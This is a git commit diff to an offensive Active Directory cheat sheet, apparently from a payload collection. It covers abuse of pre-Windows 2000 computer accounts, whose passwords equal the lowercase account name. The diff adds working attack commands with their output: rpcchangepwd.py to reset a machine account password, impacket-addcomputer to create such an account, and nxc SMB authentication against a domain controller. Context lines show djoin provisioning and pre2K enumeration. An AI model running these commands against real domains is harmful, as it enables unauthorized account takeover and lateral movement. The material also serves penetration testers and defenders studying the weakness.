Server with password=lower(machine-account-name)
parent
095a23bb67
commit
c77236f6eb
|
@ -1,6 +1,6 @@
|
||||||
# Password - Pre-Created Computer Account
|
# Password - Pre-Created Computer Account
|
||||||
|
|
||||||
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
|
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
|
||||||
|
|
||||||
```ps1
|
```ps1
|
||||||
# Create a machine with default password
|
# Create a machine with default password
|
||||||
|
@ -11,6 +11,20 @@ djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DE
|
||||||
* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
|
* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
|
||||||
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
|
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
python3 rpcchangepwd.py '<DOMAIN>/COMPUTER>$':'<PASSWORD>'@<DC IP> -newpass '<PASS>'
|
||||||
|
```
|
||||||
|
|
||||||
|
:warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver
|
||||||
|
[*] Successfully added machine account swkserver$ with password swkserver.
|
||||||
|
|
||||||
|
$ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver
|
||||||
|
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False)
|
||||||
|
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
|
||||||
|
```
|
||||||
|
|
||||||
## Enumerate Pre-Created Computer Account
|
## Enumerate Pre-Created Computer Account
|
||||||
|
|
||||||
|
@ -20,7 +34,6 @@ Identify pre-created computer accounts, save the results to a file, and obtain T
|
||||||
nxc -u username -p password -M pre2K
|
nxc -u username -p password -M pre2K
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
|
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
|
||||||
|
|
Loading…
Reference in New Issue